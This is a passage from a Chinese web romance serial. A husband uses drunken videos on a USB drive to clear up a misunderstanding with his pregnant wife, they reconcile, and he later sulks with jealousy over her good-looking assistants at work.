画面里,她似乎微微蹙了下眉,目光越过程凌晟,直接投向包厢内,精准地落在了陆京洲当时所在的方向,【我找陆京洲,应该没走错吧,顶楼只有这个包间。】 屏幕前的陆京洲闭上了眼睛,喉结剧烈地滚动了一下,牙关咬得咯吱作响。 他已经看不下去了,猛地一拳砸在旁边的实木茶几上! “砰——!” 一声闷响,厚重的茶几面被砸得震了一下,上面的酒杯东倒西歪。 陆京洲的手背瞬间通红,很快泛出紫痕。 “阿洲!”傅星驰吓了一跳,连忙去拉他。 陆京洲甩开他的手,胸膛剧烈起伏,额角的青筋突突直跳。 缓缓转过头,那双猩红的眼睛,像盯住猎物的猛兽,锁定了沙发上已经吓得坐直身体,脸色不太正常的程凌晟。 “程、凌、晟。” 他一字一顿,声音嘶哑冰冷,带着骇人的杀气。 “你叫她什么?嗯?我把你当兄弟,你调戏我老婆!” 程凌晟后背瞬间被冷汗浸透,早就吓醒了。 他慌忙摆手,舌头都有些打结,“不……不是,阿洲你听我解释!我当时喝多了!我真不知道那是嫂子!我要是知道,给我一百个胆子我也不敢啊!而且……而且圈子里不都传嫂子……那什么嘛,我哪知道……” “你不知道?”陆京洲一步步走过去,周身散发着低气压,“你那双眼睛是摆设?看不出来她是我陆京洲的老婆?” 这程凌晟可有话说了,往后退了几步,躲到沙发后才开口,“我哪里知道她是你老婆嘛,那么漂亮,再说了婚礼上,红盖头都没有掀开,我怎么可能知道呢?” 而且……他也没有太过分。 谁都有追求自己幸福的权利,他没有趁虚而入完全是因为陆京洲是自己的好兄弟! 陆京洲被怼的哑口无言,一下子又想到了婚礼,哪个女孩不想漂漂亮亮的出席自己的婚礼? 他欠她的实在是太多太多了! 傅星驰见他没有再发作,立刻开口当中间人劝,“阿洲,阿晟他本来就是那样的人,不过也是真的不知道那是嫂子,要不然绝对不会说那样的话!” 陆京洲冷哼一声,警告道,“不管是不是都不行!” 程凌晟点头如捣蒜,“我知道啦。” “对了,那天我拍的视频还挺多,还拍到了其他的,虽然说都是黑历史,但是……表达了你对你老婆有多么的喜欢……要不你拿回去给嫂子看看呢?” 程凌晟说着就把备用U盘塞到陆京洲手里,指尖还贱兮兮地戳了戳U盘外壳,“你自己看了就知道,我可没添油加醋,纯纯是你真情实感的流露!” 陆京洲半信半疑地插上U盘,点开隐藏文件夹里的另一段视频。 他们之所以会把视频拷贝到U盘里,是想一个视频坑他500万来着…… 这会免费给他,只求他不要生气。 画面晃了晃,镜头怼着他的侧脸,他刚灌了两杯红酒,眼眶有点泛红,手里攥着个空酒杯,语气带着点没处发泄的委屈,声音压得很低却足够清晰,“我老婆是这个世界上最漂亮的女孩子……唯一的缺点就是不爱我。” 他顿了顿,指尖无意识地抠着杯壁,眼底的落寞快溢出来,“奶奶给我的照片里,我看见她跟一个男的去恒慕,那家著名的情侣餐厅吃饭。 那家店多难订你们又不是不知道,提前半个月都抢不到位置,她从来都没有说要和我去,居然先和别的男人去了?” 视频里的陆京洲喉结滚了滚,还抬手抹了下脸,像个受了委屈的大男孩,完全没了平日里叱咤商场的冷硬模样,“她就是不爱我,我比他们帅,比他们有钱,比他们有权,凭什么爱他们不爱我?这不公平!” 陆京洲看着视频里那个陌生到极致的自己,有些尴尬的挠了挠头。 不过这个还确实有点用。 他老婆听到的恰好是最违心的那句话…… 前因后果串联在一起,可以当成一点点证据! 也许她看了会原谅自己也不一定。 陆京洲几乎是抢过了那枚U盘,金属外壳硌的他掌心微微有些发疼。 他什么也顾不上说,甚至没再看沙发上如蒙大赦的程凌晟和满脸无奈的傅星驰一眼,抓起椅背上的外套就冲出了包厢门。 “谢谢你们俩的视频,等着喝兄弟真正的喜酒吧。” 陆京洲就留下这么一句话,人已经没影了。 夜风带着凉意扑面而来,却丝毫吹不散他心头的燥热和某种近乎慌乱的急切。 他坐进驾驶座,发动引擎,性能极佳的车子如同离弦的箭划破夜色。 窗外的霓虹连成流动的光带,映在他紧绷的侧脸上,那双眼睛亮得惊人。 他只想飞回她身边,告诉她一切,都不是她想的那样。 视频里那个醉醺醺,委屈巴巴的自己,说的那些话,幼稚,丢人,甚至有些可笑。 可那里面藏着的,是他清醒时绝不敢轻易袒露的,最真实也最脆弱的情感。 不是那些权衡利弊的理由,不是家族联姻的体面,仅仅是一个男人最简单,最直接的喜欢。 一路风驰电掣,脑子里乱哄哄的,一会儿是视频里自己那句“唯一的缺点就是不爱我”,酸涩难言。 一会儿又是她当时在包厢门口,越过程凌晟望过来时那双通红的眼睛。 他必须告诉她,立刻,马上。 哪怕她已经睡了,哪怕会吵醒她,他也等不到天亮了。 只有待在有她在的地方他才会安心。 …… 檀月山庄! 车库里传来引擎熄灭的声响,紧接着是略显急促的脚步声由远及近,穿过空旷的客厅,踏上楼梯。 陆京洲三步并作两步冲上了楼,在主卧门前却猛地刹住了脚步。 他深吸一口气,努力平复过于激烈的心跳,手搭上门把,又顿住。 里面……会不会太安静了? 她睡了吗? 要是睡了,他这样闯进去……会不会吓到她? 心脏在胸腔里横冲直撞,他等不了,一刻也等不了。 最后,还是轻轻拧开了门。 预想中的黑暗与宁静并未出现。 床头那盏造型别致的灯亮着,晕开一小团暖黄的光晕。 她半靠在床头,身上穿着丝质的睡衣,膝上摊着一本书,但视线并未落在书页上,而是微微偏着头,望向窗外沉沉的夜色,侧脸在光影中显得有些清冷。 她没睡…… 听到开门声,岑予衿缓缓转过头。 目光平静无波,可落在他身上时全变了,眼里满是惊讶。 陆京洲握着门把的手紧了紧,喉咙发干。 准备好的所有说辞,在面对她这样的目光时,竟一时卡壳。 她没睡,是在等他,等一个结果吗? “笙笙,怎么还没睡?”他听到自己干巴巴地问了一句,声音因为紧张而有些僵硬。 她合上膝上的书,随手放在一边,“睡不着。” 她的声音很轻,听不出什么情绪,手却紧紧的攥着床单,心跳如擂鼓,“你……你想好答案了吗?” 这简短的一句话,让陆京洲心口一刺。 反手关上门,隔绝了外面的空间,一步步走到床边。 房间里的空气似乎因为他的靠近而变得凝滞。 他没有坐下,只是站在床边,微微倾身,目光紧紧锁住她的眼睛。 片刻后,他从口袋里掏出那枚小小的U盘,金属在灯光下折射出一点冷光。 “这个……”他将U盘轻轻放在她身侧的床单上,指尖因为用力而微微泛白,“是你去皇都接我那天晚上程凌晟他们录的。” 他的声音很低,带着一种破釜沉舟的沙哑,“里面有好多的视频。” 他顿了顿,像是用尽了所有勇气,“很多话是真的,但是……” 他看着她,不放过她脸上任何细微的表情变化,语速不自觉地加快,带着一种近乎笨拙的急切,“你恰好在门外听到的那句不是。” 第139章 我爱你 岑予衿的视线落在他的脸上,眼里满是震惊。 看着自己被他握着的手,以及手里的那个银色U盘。 “所以你刚才出门……” 陆京洲半跪在地上,视线和她平视,声音里满是温柔,还带着一丝不易察觉的紧张,“我知道你不会无缘无故的这么说,就想查清楚,究竟是什么让你有,只要你把檀月山庄转到我名下,我们就会离婚的错觉。” 所以他刚才出门,是为了搞清楚这件事情吗? 他……可以直接问她的。 好吧……其实就算他问了,她应该也不会告诉他。 “我那天在皇都就说了这么一句混账话,真的就只说了这么一句,刚好被你听到了,所以才误会。”陆京洲声音里满是懊悔。 他嘴真的太欠了。 “原本我在家里堆了雪人,想着你回家第一时间跟你道歉,告诉你,我那个月去了哪里?和宋清菡那个完全就是意外,我和她一点关系都没有,要说真有什么关系就是被他奶奶和我奶奶乱点鸳鸯谱的关系。” 陆京洲像是想到了那天晚上的事情,声音委屈到几乎哽咽,“你一天晚上没回去,我就去老太太那儿找你,没想到你没在老太太那儿,老太太还添油加醋的给我看了,你和别的男人去情侣餐厅吃饭的照片,我气疯了。” 岑予衿听着他委屈的声音,自己也委屈的不行,眼眶都有些红了。 “更多的是吃醋,是不甘心,但是又不知道该怎么该站在什么角度?站在什么位置来问你,害怕得到的回答是你喜欢的就是别人,我从来不知道喜欢是什么感觉,也不知道该怎么去爱一个人,直到遇到了你……” “我才知道,什么叫害怕。”陆京洲的声音低了下去,带着一丝微不可察的颤抖,握着她的手没有松开,那枚小小的U盘成了他们之间唯一的连接物。 “怕你眼睛看着别人,怕你对别人笑,怕……怕你真的只是需要陆太太这个头衔,随时都可以抽身离开,你还喜欢过你大哥……你太优秀了,喜欢你的人有很多很多……” 岑予衿的心口像是被什么东西轻轻撞了一下,酸酸涩涩地蔓延开来。 她看着他微红的眼眶,看着他平日里锐利冷硬此刻却写满不安与祈求的眼神,那些横亘在心头的冰墙,悄然裂开了缝隙。 “而你自己本身就很优秀,你有更多选择,和我在一起不过是被老太太逼迫,是走投无路,我知道……你说的什么?喜欢我,暗恋我,都是骗我的,所以我更害怕,你有了更好的选择之后,会离开……不要我甚至不要宝宝。” 陆京洲把头搭在了她腿上,就这么靠着,仿佛这样更有安全感,“所以我去皇都喝酒了,喝的烂醉,我这个人又特别别扭,我心里明明喜欢你喜欢的要命,可我就是不知道该怎么表达,说出来的那句话,真的是违心的。” 陆京洲生怕她不相信,立刻出门拿了电脑将U盘插上,“笙笙,你可以自己看,真的……我真的不是那个意思。” 岑予衿的目光落在他急切摆弄电脑的侧影上,心脏像是被放在了柔软的棉花上,软得一塌糊涂。 横亘在两人心间的猜疑、不安和冰冷的隔阂,在他的解释中,消失殆尽。 U盘插入,电脑屏幕亮起。 陆京洲点开其中一个视频,正是他醉后絮絮叨叨诉说委屈的那段。 边播放边解释,视频上的时间。 岑予衿的视线则是落在了屏幕上。 屏幕里醉眼朦胧的男人攥着酒杯,声音哽咽,“我老婆是这个世界上最漂亮的女孩子……唯一的缺点就是不爱我。” 画面外的陆京洲别过脸,耳根通红。 视频继续播放,他絮絮叨叨地抱怨那家难订的情侣餐厅,委屈巴巴地抹脸,“她从来没说要和我去……” 最后那句“凭什么爱他们不爱我”带着孩子气的哭腔。 原来……是这样。 原来那些冷漠疏离,那些若即若离的背后,藏着一个这样笨拙又害怕受伤的灵魂。 他也会吃醋,也会不安,也会在喝醉后,像个得不到糖的孩子一样委屈。 视频播放完毕,房间里只剩暖黄的灯光和两人交错的呼吸声。 陆京洲小心翼翼地看向她,喉结滚动:“现在……你信了吗?” 陆京洲紧张地看着她,喉结滚动,等待审判。 岑予衿沉默了很久。 久到陆京洲几乎要以为她还是不信,心脏一点点沉下去的时候,她忽然伸出手,指尖轻轻触碰屏幕上那个醉眼朦胧的男人的脸。 “陆京洲。”她开口,声音很轻,却清晰地敲在他心尖上。 “嗯。”他立刻应声,屏住呼吸。 “我那天去恒慕,是和我师兄一起。”她抬眼,直视他瞬间亮起来的眸子,“他刚从国外回来,还帮我解决了岑氏的大问题,我打算请他吃饭,我问了言言有没有推荐的餐厅,她说那儿的饭好吃,我就定了。真的不知道是情侣餐厅。” 他竟然被几张断章取义的照片和几句流言,就搅得方寸大乱,口不择言,伤害了她。 “我……”他张了张嘴,却不知该说什么,千言万语堵在胸口。 “你离开的那一个月,我过得也不好,每天都在孕反,我给你发消息基本上都是石沉大海,联系不上你……只能在网上看你的消息,所以……你的绯闻刚上热搜,我就看到。” 那个月他也吐的昏天黑地的,不知道究竟是什么原因。 岑予衿抬手指着自己心脏的位置,“说实话,很难受,但是我知道,这段婚姻里受委屈的人是你,我没有资格约束你,甚至想过放手。” “他们给我打电话说你喝多了,嘴里一直喊着我的名字,我第一反应是不相信,去了……就听到了你说这些话。” “那时候……我已经告诫过自己,不能对你动心,一定要守好自己的心,可是在和你的相处之中,我还是不争气的对你心动了。” 岑予衿小心翼翼的抬手扶上他的脸,语气里满是眷恋,“那句话始终是我心里的一根刺,我把檀月山庄还给你,也把决定权给你,你说在一起,咱们就在一起,你说分开……就分开。” 陆京洲的心像是被她最后一句话紧紧攥住,痛得他呼吸一滞。 他猛地抓住她抚在自己脸上的手,紧紧贴在脸颊,急切地摇头,声音带着破碎的哽咽,“不分开!笙笙,我们不分开!我从来、从来都没想过要分开!” 他另一只手慌乱的扣住她的后颈,让她无法避开自己的视线,眼底是几乎要溢出来的恐慌和坚定,“我说在一起!永远在一起!谁允许你放手了?周芙笙,你听着,我这辈子都不会放开你!” 他看着她微微睁大的眼眸,那里面映出自己近乎狼狈的急切。 深吸一口气,他强迫自己稍微冷静下来,但扣着她手腕和颈后的力道却丝毫未松,生怕一松手,她就会消失。 “是,一开始……我是因为家里的压力,因为一些……别的原因,才同意了这门婚事的。”他艰难地承认,每一个字都像在剖析自己。 “我承认,最初我并没有把你当成一个纯粹的妻子来看待,或许……掺杂了一些别的考量。” 他看见她眼底细微的波动,心更痛了,语速却更加急切,“但是笙笙,人是会变的,心是会动的!我第一次看到你的,第一次听到你说话的声音,第一次看着你维护我,一次又一次……一切就都不一样了!” 他的额头抵上她的,鼻尖相触,呼吸灼热地交织在一起。 “我不知道具体是哪一刻,但等我意识到的时候,你已经在这里了。” 他拉着她的手,用力按在自己心口,那里心跳如擂鼓,剧烈地撞击着她的掌心,“满心满眼都是你,赶都赶不走。” “我爱你,周芙笙。”他终于说出了这句在心底翻腾了无数次的话,不是“喜欢”,是“爱”。 语气郑重得如同誓言,带着豁出一切的决绝。 “不是因为你是陆太太,不是因为你能带来什么,更不是因为你怀了宝宝。” 他凝视着她的眼睛,一字一句,清晰无比,“仅仅因为你是你,是那个会因为我晚归而担心,会笨拙地想给我惊喜,受了委屈也只会默默掉眼泪的周芙笙。” “爱你这件事,早就没有任何别的原因了。它发生了,就在那里,真实得我自己都无法否认。” 他的声音低了下去,带着无尽的悔恨和祈求,“对不起,为我之前所有的混蛋行为,为我那张该死的嘴,为我那些愚蠢的别扭和试探……我差点弄丢了你,也差点……亲手毁了我们之间好不容易才有的可能。” 他松开扣着她后颈的手,转而双手捧住她的脸,拇指珍而重之地擦过她湿润的眼角。 “给我一个机会,笙笙。一个用余生来爱你、补偿你、证明我心的机会。檀月山庄是我们的家,不是筹码,更不是束缚。你不需要还给我任何东西,你只需要……继续留在我身边。” “我们从头来过,好不好?不是因为老太太的压迫,不是因为任何外在的压力,只因为陆京洲爱周芙笙,周芙笙……愿意试着再爱陆京洲一次吗?” 他的目光炽热而虔诚,像等待救赎的信徒,等待着她最终的判决。 “这辈子,下辈子,生生世世,我都要和你在一起。除了你身边,我哪里都不去。” 岑予衿没有说话,只是抬手,指尖轻轻碰了碰他手背上那片骇人的紫红淤痕,重重点了点头,“阿洲,我爱你!” 第140章 婚礼请柬 几秒后,巨大的喜悦如同狂风暴雨般呼啸而至。 陆京洲甚至不敢相信自己耳朵听到的话,猛地收紧手臂,将她牢牢嵌进怀里,像是要将她揉进骨血。 滚烫的吻落在她额头、眼睛、鼻尖,最后深深吻住她的唇。 这个吻不再带有任何试探和不安,只有失而复得的珍重和汹涌澎湃的爱意。 不知过了多久,他才稍稍退开,眼底映着床头暖光,亮得惊人。 他抵着她的额头,声音因激动而低哑颤抖,“再说一遍,笙笙……求你。” 岑予衿脸颊绯红,眼中却漾开清澈的笑意,她看着他的眼睛,清晰地重复,“陆京洲,我爱你。想和你过一辈子,不分开的一辈子。” 他再也克制不住,重新吻住她,将所有的承诺、爱恋和未来的期许,都融进这个缠绵悱恻的吻里。 窗外的夜色依旧深沉,主卧内却春意盎然。 灯光温柔地笼罩着相拥的两人,仿佛为他们隔绝出一个静谧的世界。 许久,陆京洲稍稍平复呼吸,却仍不肯松手,像抱着失而复得的稀世珍宝。 他蹭着她柔软的发丝,低声呢喃,“一辈子太短了,笙笙。下辈子,下下辈子,你都得是我的。” 岑予衿在他怀里轻轻点头,手指与他十指相扣,掌心相贴处,是U盘冰凉的轮廓,也是两颗心滚烫的温度。 “嗯,”她闭上眼,终于感到长久以来漂泊无依的心,稳稳落了地,“说好了,不许反悔。” “绝不反悔。” 岑予衿的视线落在了他微微有些红肿的脸上,柔嫩的小手轻轻摩挲着他手上青紫的痕迹,“怎么又受伤了?” 陆京洲有些不好意思,“就是知道自己太蠢了之后情绪有点激动……这才不小心受的伤,不过,你别担心,只是小伤。” “我去帮你包扎一下。” 岑予衿边说边起身,要拿医药箱把它包扎,被他阻止了,“我自己会上药,孕妇不能熬夜,跟你说了多少次,怎么就不听呢啊?” 岑予衿也没想过他的态度会转变的这么快,“那这件事情怪谁?” “怪我,宝贝怪我,我就不该听你的话,明天再告诉你答案,我就该抱着你,坚定的告诉你,我的选择!” 陆京洲举着双手和她道歉,眼底的温柔都要溢出来了。 “所以……刚才我进房间的时候,你在装睡?” 岑予衿有些不好意思的低下了头,“我不知道该怎么面对你,只能逃避。” 陆京洲看着她低头赧然的模样,心尖软得一塌糊涂。 他轻笑着捏了捏她的鼻尖,“小骗子。” “你还是大骗子呢!” 嘴上这么说,动作却无比轻柔。他小心地帮她掖好被角,自己则绕到另一侧,掀开被子躺了进去。 长臂一伸,将人稳稳捞进怀里,让她枕着自己的臂弯,另一只手习惯性地护在她的小腹。 “睡吧,我守着你。”他吻了吻她的发顶,声音温柔得能滴出水来。 岑予衿在他怀里找了个舒服的位置,闭上了眼睛。 可没过几分钟,她就感觉到头顶的呼吸并不平稳,甚至有些……过于急促和轻快。 她悄悄睁开一只眼,借着朦胧的夜色,能看到陆京洲正睁着眼睛,一眨不眨地看着天花板,嘴角却抑制不住地向上弯起一个傻乎乎的弧度。 “你……不睡吗?”她小声问。 陆京洲身体一僵,低头对上她清亮的眸子,有些不好意思地笑了,“睡不着。” 他收紧手臂,将她搂得更紧些,下巴蹭了蹭她的发顶,“像做梦一样。怕一闭眼,梦就醒了。” 他的语气带着失而复得后的患得患失,让岑予衿的心也跟着酸软。 她抬手,指尖轻轻抚过他冒出一点胡茬的下巴,“不是梦,陆京洲。我在这里,永远不会离开你。” “嗯。”他应着,握住她的手贴在脸颊,贪恋地汲取她掌心的温度。 沉默了一会儿,他低声开口,像在自言自语,又像在和她确认,“所以……你真的喜欢我?不是哄我?” 岑予衿无奈又心疼,这人平时在商场上杀伐果断,怎么在感情里像个缺乏安全感的孩子,“比珍珠还真,可以相信我吗,老公~” 陆京洲把她搂进怀里,低低的笑着,“相信,谢谢你还能再给我一次机会~” 她何尝不是给自己机会呢? 这次她是真的走出来了,她遇到了一个全心全意对她,能够为她洗手做羹汤的男人。 只要两人在一起,其他一切,都不是问题。 陆家他们会一起争取,哪怕是输了,也没有关系,她会很努力的工作,用岑氏养活自己,养活孩子,养活他! 陆京洲将她抱得更紧了一些。 …… 翌日清晨! 岑予衿是在一片温暖坚实的怀抱里醒来的。 意识回笼的瞬间,昨夜所有的温存、告白与泪水一同涌上心头,让她脸颊微微发烫。 她刚动了动,环在她腰间的手臂便下意识收紧,头顶传来男人带着初醒沙哑的嗓音:“醒了?” “嗯。”她仰起脸,对上陆京洲深邃含笑的眼眸。他显然醒得更早,就这么一直看着她,目光里的珍重与满足几乎要满溢出来。 “睡得好吗?”他低下头,用鼻尖亲昵地蹭了蹭她的。 “很好。”岑予衿诚实回答。 这是她许久以来,睡得最安稳沉实的一夜,仿佛卸下了千斤重担,心找到了最踏实的归处。 “那就好。”陆京洲笑着吻了吻她的额头,随即掀开被子,小心翼翼地将她打横抱起。 “啊!”岑予衿轻呼一声,本能地搂住他的脖子,“我自己可以走……” “我想抱。”陆京洲语气温柔却不容置喙,稳稳地抱着她走向浴室,“从现在开始,能代劳的,都不许累着我的陆太太和我的小宝贝。” 他特意将陆太太三个字咬得清晰缠绵,听得岑予衿耳根发热,心里却像浸了蜜。 她不再挣扎,安心地靠在他怀里,任由他细致地照顾自己洗漱。 镜子映出两人相拥的身影,男人动作轻柔,女人满眼依赖,温馨得不像话。 陆京洲还给将她的长发全部拢到身后,简单编了个麻花。 洗漱完毕,陆京洲坚持抱着她下楼。 餐厅里,阳光透过洁净的玻璃窗洒进来,餐桌上已经摆好了简单的早餐。 煎得金黄的太阳蛋,烤得恰到好处的吐司,新鲜的水果沙拉,还有两杯温热的牛奶。一切都是她喜欢的口味。 “你什么时候做的?”岑予衿惊讶,明明两人是一块起床的呀。 还是说他做好了再回去睡了个回笼觉。 “你醒之前一会儿。”陆京洲将她安置在铺了软垫的椅子上,自己才在她对面坐下,眼神一直没离开过她,“尝尝看。” 岑予衿切了一小块蛋送入口中,火候正好,是她熟悉的味道。 她抬眼,看着对面男人带着一丝紧张和期待的眼神,心软得一塌糊涂,“很好吃,和以前一样好。” 陆京洲明显松了口气,笑意加深,自己也拿起餐具。“你喜欢就好。以后每天都给你做。” 平淡的话语,却是不容置疑的承诺。 两人安静地享用着早餐,偶尔目光相接,便相视一笑,空气中弥漫着无需言说的甜蜜与安宁。 陆京洲时不时提醒她喝牛奶,把她不爱吃的蛋黄边自然拨到自己盘里,再把她喜欢的蛋白部分递过去。 岑予衿看着他脸上还未完全消退的淡淡青紫,心疼地伸手轻轻碰了碰。 “还疼吗?” “早不疼了。”陆京洲捉住她的手指,放在唇边吻了吻,“这点小伤,换来你,值一千倍一万倍。” 正说着,门铃响了。 陆京洲起身去开门,很快拿着一份精致的烫金信封回来,“快递,刚送来的。” 岑予衿接过,拆开。 一张设计雅致大气的婚礼请柬滑落出来。 她翻开,目光落在新郎新娘的名字上,微微一顿。 “周时越……和林舒薇?” 陆京洲凑过来看了看请柬上的日期,“下周,速度够快的。” 他语气平淡,听不出什么情绪,只是随手将请柬放在一边,注意力又回到岑予衿身上,“想去吗?” 岑予衿想了想,点点头,“去吧。去好好膈应膈应他们。” 第141章 陆京洲的危机感蹭一下就上来了 陆京洲听到这话,眼睛骤然一亮,嘴角控制不住地上扬。 那笑容里有惊喜,有骄傲,还有一种“我老婆怎么这么厉害”的得意。 他绕过餐桌,走到岑予衿身边,俯身将她连人带椅子轻轻圈进怀里,下巴搁在她肩窝,对着她耳朵低语,热气拂过她耳廓,“我就知道,我老婆看着温柔好脾气,其实骨子里记仇又厉害。” 他的声音里满是笑意和宠溺,“刚才我还在想,怎么才能名正言顺地带你去,气死周时越那个不长眼的东西,顺便让林舒薇看清楚,她费尽心机抢走的,到底是个什么货色。” 他侧过头,在她脸颊上响亮地亲了一口,眸中光彩熠熠,“陆京洲,不愧是我老婆,想到一块去了!” 岑予衿被他亲得有些痒,笑着偏头躲了躲,心里却因为他这份毫不掩饰的“同仇敌忾”和明目张胆的偏爱而暖融融的。 她抬手,指尖点了点他的额头,“什么记仇又厉害,我这叫……有始有终,礼貌回访。” 如果说今天这请柬他们没有给她发,那她估计不会舔着脸去。 可既然发了,那她当然得去了。 而且这婚礼请柬就算用脚趾头想都能想出来到底是谁发的。 “对,我老婆最有礼貌了。”陆京洲从善如流,眼底的狡黠却藏不住,“那我们就好好准备回礼。得穿得漂漂亮亮、体体面面地去,让所有人都看清楚,你现在过得有多好,嫁的……” 他顿了顿,故意凑近,鼻尖几乎碰到她的,声音压得更低,带着一丝炫耀和不容置疑的占有,“老公有多疼你。” 岑予衿被他逗笑,心里那点因为请柬泛起的最后一丝波澜也彻底平复,只剩下跃跃欲试的轻松和期待,“那你可得好好表现,陆先生。别给我丢人。” “放心吧,保证不给你丢人。” 陆京洲看着那张婚礼请柬的背景,是两人的婚纱照…… 垂眸思考着什么。 他们好像没有拍过婚纱照。 别人有的,他老婆都得有。 不对……他们连婚都没有订,就直接结婚。 他这个老公当的真的好不称职! 岑予衿总觉得他看起来有些奇怪,不知道在想着什么,有些好奇的问,“阿洲,你在想什么?” 陆京洲摇头,“没想什么,老婆,你要去公司吗?” “应该要去,你呢?” 陆京洲把头搭在她的肩膀上,“我可以跟你一块去上班吗?” “陆氏没有事吗?” 陆京洲摇头,“他们给我安排的能是什么好事儿,我不想去,我只想跟你待在一块。” 岑予衿知道他的难处。 刚进公司不久,陆家人对他本来也不好,肯定会被打压。 既然他不想去,那就不去好了。 跟他一块去岑氏,她也不想跟他分开。 岑予衿笑着揉了揉他的头发,语气纵容,“行啊,陆二少肯屈尊降贵来岑氏当跟屁虫,我求之不得。” 两人驱车到岑氏楼下,刚进大堂就引来不少目光。 毕竟俊男靓女的组合,出现在哪都是特别扎眼的存在。 陆京洲看着面前走的飞快的老婆,立马跟上,向是宣誓主权般握住了她的小手,“老婆,慢点走~” 岑予衿低头看了一眼自己被他紧紧握在手里的小手,有些无奈的摇了摇头,却也没有抽出来。 故意拉长了语调,眼里闪过一丝促狭,“我们公司的HR,招聘可是很看脸的哦。” 陆京洲不以为意地哼了一声,“再好看能有我好看?走,正好去宣示一下主权。” 他嘴上说得轻松,心里却已经打起了小算盘,手已经改成搂住她的腰了。 两人一同到了岑氏集团顶楼办公室。 岑予衿的办公室视野开阔,装修是现代简约风,一如她本人,干练而雅致。 她先带陆京洲大致逛了逛,然后便投入了上午的会议准备。 陆京洲则被她安排在了办公室附带的休息区,那里有舒适的沙发和小茶几,正好让他处理一些自己的邮件。 起初他还挺惬意,享受着‘老婆上班我陪伴’既能盯着老婆,还能上班的独特体验。 直到岑予衿的特助和秘书先后进来汇报工作,脸上的笑容有点维持不住了! 第一个进来的是特助顾言。 身高目测绝对超过185,穿着剪裁合体的深灰色西装,肩宽腿长,五官深邃俊朗,戴着一副金丝边眼镜,气质沉稳禁欲,汇报工作时条理清晰,语速平稳,偶尔推一下眼镜的动作都带着一股精英范儿。 陆京洲原本懒散靠在沙发上的背脊,不知不觉挺直了。 他眯了眯眼,目光像扫描仪一样把顾言从头到脚打量了一遍,默默的开始在心里评价。 幼稚得不行! 嗯……身材还行,但没我好。 脸嘛……也就那样,比我差远了。 眼镜……装斯文! 老婆喜欢这款吗? 我戴眼镜应该比他帅吧。 不行……下班就去买一副金丝边眼镜戴着! 他正腹诽着,顾言汇报完,对着岑予衿微微颔首,“周总,如果没有其他吩咐,我先出去了。” 声音也低沉悦耳。 岑予衿点头,“好,辛苦了。” 顾言转身离开,经过休息区时,礼貌性地对陆京洲也点了点头,“陆少。” 陆京洲扯出一个略显僵硬的微笑,点了点头,心里却想:哼,还挺有礼貌,肯定是装的! 没过多久,秘书林北骁敲门进来,送一份急需签字的文件。 这位更是了得,目测比顾言还高一点,穿着休闲一些的衬衫西裤,却掩不住模特般的身材比例。 五官阳光俊逸,笑起来露出一口白牙,充满了年轻的朝气和活力,185+的身高往那一站,简直像个移动的衣架子。 “岑总,这份文件法务部催得急,需要您现在过目签字。”林骁的声音清亮有磁性,带着恰到好处的恭敬。 “好,放这儿吧。”岑予衿接过来,低头仔细翻阅。 林骁就站在办公桌旁等待,姿态挺拔。他似乎察觉到休息区投来的目光,转头对陆京洲友好地笑了笑。 陆京洲这回连假笑都差点没维持住。 这家伙……怎么感觉比刚才那个还扎眼? 这颜值,这身高,这身材……岑氏是开经纪公司的吗?! 面前这两个直接可以出道了。 他看着岑予衿专注工作的侧脸,又看看站在她身旁气质迥异却同样出众的两位男士,心里那坛陈年老醋“哐当”一声就被打翻了,酸气咕嘟咕嘟直往上冒。 等林北骁也拿着签好的文件离开,陆京洲终于坐不住了。 他站起身,踱步到岑予衿的办公桌旁,状似无意地翻了翻她桌上的文件。 “老婆,你这特助和秘书……挺年轻啊。”他尽量让自己的语气听起来平常。 岑予衿正低头签字,随口答道:“嗯,顾言是去年从国外挖回来的高材生,能力很强。林骁是今年刚招的,名校毕业,虽然经验少了点,但很有潜力,人也机灵。” 她完全没意识到某人正在醋坛子里滚来滚去。 “哦……潜力啊~”陆京洲拖长了声音,手指在桌面上无意识地敲了敲,“我看他们……个子都挺高。” 岑予衿这才察觉到一丝异样,抬起头,看见陆京洲抿着唇,眼神飘忽,一副欲言又止、浑身不对劲的样子。 她稍一琢磨,忽然福至心灵,明白了什么,眼中瞬间漾开笑意。 她放下笔,好整以暇地靠进椅背,双手交叠放在身前,故意问道,“是啊,我们公司招聘,形象气质也是考核标准之一。怎么了,陆二少?对我们的人事安排有意见?” 陆京洲被她看得有点心虚,但醋意更占上风。 那危机感蹭一下就冒了上来。 他绕过办公桌,走到她椅子后面,双手撑在扶手上,将她圈在怀里,俯身在她耳边,声音闷闷的,带着显而易见的酸味,“没意见……我就是觉得,你们公司这‘形象气质’标准,是不是定得太高了点?嗯?185+?还一个沉稳一个阳光?岑总,你每天对着这么养眼的左膀右臂,工作效率是不是特别高啊?” 温热的气息喷在耳畔,话语里的酸意几乎要凝成实体。 岑予衿终于忍不住,“噗嗤”一声笑了出来,肩膀轻轻抖动。 她转过头,看着近在咫尺的那张写满“我不高兴了快哄我”的俊脸,伸手捏了捏他的脸颊,“陆京洲,你够了啊。顾言和林北骁,据我所知,追他们的女孩能从公司门口排到地铁站,但他们俩似乎都不感兴趣,没有谈恋爱的打算。” 她眼里闪烁着狡黠的光,故意逗他,“再说了,他们再养眼,能有我们家陆先生养眼吗?你这张脸,在我心里永远是number one。” 陆京洲的脸色这才多云转晴,但嘴上还不肯完全认输,“那当然。不过……” 他又凑近了些,几乎鼻尖相抵,声音压低,带着威胁又撒娇的意味,“以后他们进来汇报工作,你不许对着他们笑得太好看。” 岑予衿哭笑不得,“陆京洲,你这是无理取闹。” “我不管,”陆京洲干脆耍起赖来,轻轻咬了一下她的耳垂,又快速松开,语气蛮横又委屈,“我就是醋了。谁让我老婆这么优秀,公司里还‘藏’着这么多‘潜在威胁’。我得看紧点。” 岑予衿心尖一软,又觉得他这醋吃得实在可爱。 她抬手环住他的脖子,主动在他唇上亲了一下,像安抚大型犬一样摸了摸他的头发,“好了好了,陆醋王。我心里眼里只有谁,你还不知道吗?怎么样才能让你开心起来?” “老婆,我可以申请约会吗?”陆京洲眼睛都亮了。 岑予衿思考了一瞬,最终还是点了点头,“可以,不过今天估计会晚一点哦。” “你忙吧,我安排就好。” 陆京洲低头猛猛亲了她一口,随后心满意足的回到自己的位置,拿出手机就开始操作。 岑予衿有些无奈,却也不反感。 第142章 周时越,你对得起我吗? 其实,陆京洲跟她一块来上班还挺好的。 午餐陆京洲会帮忙解决,渴了有适合孕妇喝的水果茶,饿了有小点心,就算是困了也有贴心的哄睡服务。 这待遇是她从来没有体验过的。 